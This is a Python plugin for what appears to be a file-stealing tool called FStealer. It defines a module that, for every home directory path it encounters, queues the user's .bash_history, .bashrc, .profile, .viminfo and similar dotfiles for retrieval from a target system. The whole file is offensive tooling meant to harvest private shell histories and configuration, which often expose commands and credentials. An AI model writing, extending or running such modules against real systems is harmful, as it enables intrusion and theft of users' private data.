#!/usr/bin/env python

import re
from module import FStealerModule

class HomeModule(FStealerModule):
	suffixes = [
				".bash_history",
				".bash_logout",
				".bashrc",
				".xsession-errors",
				".viminfo",
				".vimrc",
				".Xmodmap",
				".profile",
				]

	def initialize(self):
		self.pathpattern = re.compile("^(/home/[^/]+)")

	def preGetFile(self, path):
		match = self.pathpattern.match(path)
		if match is not None:
			for suffix in self.suffixes:
				for p in match.groups():
					self.addPath("%s/%s"%(p,suffix), priority = 1)

module = HomeModule
